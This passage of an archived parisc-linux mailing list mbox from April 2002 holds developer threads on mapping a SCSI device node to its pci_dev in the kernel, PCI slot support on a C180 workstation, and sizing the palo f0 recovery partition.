 boundary="------------864E30FEA8919D8B8620C1B0"
X-Trace: ger.gmane.org 1416621205 5953 80.91.229.3 (22 Nov 2014 01:53:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:25 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  2 07:40:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id E275D482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Apr 2002 07:40:02 -0700 (MST)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id BC434316
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Apr 2002 16:40:00 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id QAA25592 for <parisc-linux@lists.parisc-linux.org>; Tue, 2 Apr 2002 16:39:12 +0200 (METDST)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14491

This is a multi-part message in MIME format.
--------------864E30FEA8919D8B8620C1B0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

It is my pb, I don't know how to retrieve the pci_dev or parisc_device
from the `sda2' (the device file). I'm pretty sure that the solution
can comes from the `sd' drivers (btw which is the name for the
ide driver: ide ???). Because when using it, you have to give the device
nodes, so it should translate it somewhere to a pci_dev or parisc_device.

Thanks to people who know how to handle this.

Matthew Wilcox wrote:
> 
> I'm not sure how to get from `sda2' to the pci_dev of the controlling device.
> 
> --
> Revolutions do not require corporate support.
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------864E30FEA8919D8B8620C1B0
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------864E30FEA8919D8B8620C1B0--




From - Thu Nov 08 21:22:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How retrieving HPA/SPA with the device node
Date: Tue, 02 Apr 2002 09:44:17 -0700
Lines: 58
Approved: news@gmane.org
Message-ID: <20020402164417.6C6B6482A@dsl2.external.hp.com>
References: <3CA9BB50.1FCEBDF4@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621206 5955 80.91.229.3 (22 Nov 2014 01:53:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:26 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  2 09:44:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 6C6B6482A; Tue,  2 Apr 2002 09:44:17 -0700 (MST)
In-Reply-To: Message from Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com> 
   of "Tue, 02 Apr 2002 16:08:16 +0200." <3CA9BB50.1FCEBDF4@admin.france.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14492

Bruno Vidal wrote:
> The pointer of the disk (/dev/sd??) is the node. Example:
> /dev/sda2 ->> sda2 -> 0x802 -> major:0x8 -> driver "sd" with minor:0x02
> Now how can I link 0x802 to hardware path "2/0/1"
> So where is the link between both ????? Do you have any idea ?????

Well, there is a link. It's just not as obvious as the iotree.

drivers/scsi/sd.c:sd_open() finds the device:

	target = DEVICE_NR(inode->i_rdev);
	if (target >= sd_template.dev_max || !rscsi_disks[target].device)
		return -ENXIO;  /* No such device */

And sd.h has the definition for Scsi_Disk:
typedef struct scsi_disk {
	unsigned capacity;      /* size in blocks */
	Scsi_Device *device; 
	unsigned char ready;    /* flag ready for FLOPTICAL */
	unsigned char write_prot;       /* flag write_protect for rmvable dev */
	unsigned char sector_bit_size;  /* sector_size = 2 to the  bit size power */
	unsigned char sector_bit_shift;         /* power of 2 sectors per FS block */
	unsigned has_part_table:1;      /* has partition table */
} Scsi_Disk; 

Scsi_Device is *private*. It contains the ptr to Scsi_Host (defined
in hosts.h), an instance of a SCSI controller driver. And finally,
Scsi_Host has a pointer to pci_dev.

Since several of the data structures are intended to be private,
I suggest adding a function to sd.c (or scsi.c) that finds and returns
the pci_dev pointer:

struct pci_dev *sd_get_pci_dev(struct inode *inode)
{
	int target = DEVICE_NR(inode->i_rdev);
	Scsi_Device scsidev = rscsi_disks[target].device;

	if (target >= sd_template.dev_max || !scsidev)
		return NULL;  /* No such device */

	return (scsi_dev->host->pci_dev);
}


It would be nice if SCSI were part of the IO tree but I can understand
reasons for not doing it. In particular, SCSI over FC doesn't lend
itself to an IO Tree arrangement since it's really a "net". Put a SAN,
additional FC controllers from the same host, and a few thousand
LUNs out there and the IO tree can become an ugly mess to.

hth,
grant

ps. I had no clue how this worked until I tracked this down starting
    at sd_open().



From - Thu Nov 08 21:22:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How retrieving HPA/SPA with the device node
Date: Tue, 02 Apr 2002 09:50:01 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20020402165002.EF49B482A@dsl2.external.hp.com>
References: <3CA9BB50.1FCEBDF4@admin.france.hp.com>  <20020402164417.6C6B6482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621206 5959 80.91.229.3 (22 Nov 2014 01:53:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:26 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  2 09:50:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id EF49B482A; Tue,  2 Apr 2002 09:50:01 -0700 (MST)
In-Reply-To: Message from Grant Grundler <grundler@dsl2.external.hp.com> 
   of "Tue, 02 Apr 2002 09:44:17 MST." <20020402164417.6C6B6482A@dsl2.external.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14493

Grant Grundler wrote:
> Since several of the data structures are intended to be private,
> I suggest adding a function to sd.c (or scsi.c) that finds and returns
> the pci_dev pointer:

Well, looks like we *almost* have what we want in scsi_ioctl.c.
scsi_ioctl_get_pci() does about the same thing.
Maybe the right answer is to write another ioctl call that
does what you want. I don't know.

grant



From - Thu Nov 08 21:22:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How retrieving HPA/SPA with the device node
Date: Wed, 03 Apr 2002 09:00:02 +0200
Organization: H.P
Lines: 56
Approved: news@gmane.org
Message-ID: <3CAAA872.D4169A4@admin.france.hp.com>
References: <3CA9BB50.1FCEBDF4@admin.france.hp.com>  <20020402164417.6C6B6482A@dsl2.external.hp.com> <20020402165002.EF49B482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------486CB76D115BE5E4DB39A135"
X-Trace: ger.gmane.org 1416621206 5960 80.91.229.3 (22 Nov 2014 01:53:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:26 +0000 (UTC)
To: Grant Grundler <grundler@dsl2.external.hp.com>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  3 00:05:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 35779482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Apr 2002 00:05:21 -0700 (MST)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id B96DD692
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Apr 2002 09:05:17 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id JAA13602; Wed, 3 Apr 2002 09:03:10 +0200 (METDST)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14494

This is a multi-part message in MIME format.
--------------486CB76D115BE5E4DB39A135
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Thanks a lot.
It solved my pb. Now I think I'll add a function in scsi.c.
Because I need the pointer to pci_dev. And I don't think it
can be usefull at user level. 

	Many thanks for your answers.

Grant Grundler wrote:
> 
> Grant Grundler wrote:
> > Since several of the data structures are intended to be private,
> > I suggest adding a function to sd.c (or scsi.c) that finds and returns
> > the pci_dev pointer:
> 
> Well, looks like we *almost* have what we want in scsi_ioctl.c.
> scsi_ioctl_get_pci() does about the same thing.
> Maybe the right answer is to write another ioctl call that
> does what you want. I don't know.
> 
> grant
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------486CB76D115BE5E4DB39A135
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------486CB76D115BE5E4DB39A135--




From - Thu Nov 08 21:22:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Robb <hecubus3rd@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PCI slots
Date: Wed, 3 Apr 2002 02:43:37 -0800 (PST)
Lines: 16
Approved: news@gmane.org
Message-ID: <20020403104337.12809.qmail@web10506.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621207 5963 80.91.229.3 (22 Nov 2014 01:53:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  3 03:43:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web10506.mail.yahoo.com (web10506.mail.yahoo.com [216.136.130.156])
	by dsl2.external.hp.com (Postfix) with SMTP id D0360482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Apr 2002 03:43:39 -0700 (MST)
Original-Received: from [66.186.66.235] by web10506.mail.yahoo.com via HTTP; Wed, 03 Apr 2002 02:43:37 PST
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14495

I just noticed that in my C180xp there are two pci
slots.  (At least they look like pci :] )  I was
wondering are they supported?  As I don't have a evc
adapter I was thinking of installing a pci video card
to use it and was wondering if this is possible? 
Would a 3dlabs permedia 2 be supported?

Thanks,
Timothy Robb

__________________________________________________
Do You Yahoo!?
Yahoo! Tax Center - online filing with TurboTax
http://taxes.yahoo.com/



From - Thu Nov 08 21:22:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PCI slots
Date: Wed, 3 Apr 2002 15:04:51 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20020403150451.F31497@parcelfarce.linux.theplanet.co.uk>
References: <20020403104337.12809.qmail@web10506.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621207 5966 80.91.229.3 (22 Nov 2014 01:53:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Tim Robb <hecubus3rd@yahoo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  3 07:04:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E8F6B482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Apr 2002 07:04:56 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16slNb-0000Jf-00; Wed, 03 Apr 2002 15:04:51 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020403104337.12809.qmail@web10506.mail.yahoo.com>; from hecubus3rd@yahoo.com on Wed, Apr 03, 2002 at 02:43:37AM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14496

On Wed, Apr 03, 2002 at 02:43:37AM -0800, Tim Robb wrote:
> I just noticed that in my C180xp there are two pci
> slots.  (At least they look like pci :] )  I was
> wondering are they supported?  As I don't have a evc
> adapter I was thinking of installing a pci video card
> to use it and was wondering if this is possible? 
> Would a 3dlabs permedia 2 be supported?

The PCI slots are supported -- but be warned they are probably 5V PCI
and most cards are 3.3V.  Also, initialising a graphics card usually
involves running the graphics card BIOS which is written in x86 assembly.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] palo, f0 partition (Re: Network install on 712/80)
Date: Wed, 03 Apr 2002 08:35:49 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <E16smnd-0000BK-00@palinux.fc.hp.com>
References: <E16q3vH-000828-00.2002-03-27-03-16-27@mail4.svr.pol.co.uk> <20020402171039.GM18391@sleepie.demon.co.uk> <E16sSNd-0003KJ-00.2002-04-02-18-47-37@mail4.svr.pol.co.uk>  <20020402181145.GO18391@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621207 5967 80.91.229.3 (22 Nov 2014 01:53:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:27 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  3 08:35:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7A87C482A
	for <parisc-linux@parisc-linux.org>; Wed,  3 Apr 2002 08:35:51 -0700 (MST)
Original-Received: from ldl.fc.hp.com (linux-bugs.fc.hp.com [15.1.50.190])
	by atlrel8.hp.com (Postfix) with ESMTP id 15D96A0092A
	for <parisc-linux@parisc-linux.org>; Wed,  3 Apr 2002 10:35:50 -0500 (EST)
Original-Received: from palinux.fc.hp.com (noam.fc.hp.com [15.1.52.69])
	by ldl.fc.hp.com (Postfix) with ESMTP id C1857453E
	for <parisc-linux@parisc-linux.org>; Wed,  3 Apr 2002 08:35:49 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by palinux.fc.hp.com with esmtp (Exim 3.35 #1 (Debian))
	id 16smnd-0000BK-00
	for <parisc-linux@parisc-linux.org>; Wed, 03 Apr 2002 08:35:49 -0700
In-Reply-To: Your message of "Tue, 02 Apr 2002 19:11:45 +0100."
             <20020402181145.GO18391@sleepie.demon.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14497

The f0 partition needs to be able to hold one recovery kernel plus 265k plus
some roundoff -- so minimum size should probably be 8M just to be safe.

f0 is capable of holding both a narrow and a wide kernel plus a ramdisk,
which is how the installer works.  After woody perhaps we can arrange
for the install to put a recovery ramdisk as well as the customary
recovery kernel, into the f0 partition.  For that, 16M is probably
a good size.

	-P



From - Thu Nov 08 21:22:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo, f0 partition (Re: Network install on 712/80)
Date: Wed, 3 Apr 2002 17:40:28 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <20020403154028.GA7903@charite.de>
References: <E16q3vH-000828-00.2002-03-27-03-16-27@mail4.svr.pol.co.uk> <20020402171039.GM18391@sleepie.demon.co.uk> <E16sSNd-0003KJ-00.2002-04-02-18-47-37@mail4.svr.pol.co.uk> <20020402181145.GO18391@sleepie.demon.co.uk> <E16smnd-0000BK-00@palinux.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621208 5969 80.91.229.3 (22 Nov 2014 01:53:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:28 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Paul Bame <bame@fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  3 08:40:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.73.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id BCD0A482A
	for <parisc-linux@parisc-linux.org>; Wed,  3 Apr 2002 08:40:37 -0700 (MST)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 424D515C01B; Wed,  3 Apr 2002 17:40:29 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id C770F633B2; Wed,  3 Apr 2002 17:40:28 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <E16smnd-0000BK-00@palinux.fc.hp.com>
User-Agent: Mutt/1.3.28i
X-Virus-Scanned: by AMaViS snapshot-20020220
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14498

On Wed, Apr 03, 2002 at 08:35:49AM -0700, Paul Bame wrote:
> 
> The f0 partition needs to be able to hold one recovery kernel plus 265k plus
> some roundoff -- so minimum size should probably be 8M just to be safe.
> 
> f0 is capable of holding both a narrow and a wide kernel plus a ramdisk,
> which is how the installer works.  After woody perhaps we can arrange
> for the install to put a recovery ramdisk as well as the customary
> recovery kernel, into the f0 partition.  For that, 16M is probably
> a good size.

So, can I use "parted" to resize it?

-- 
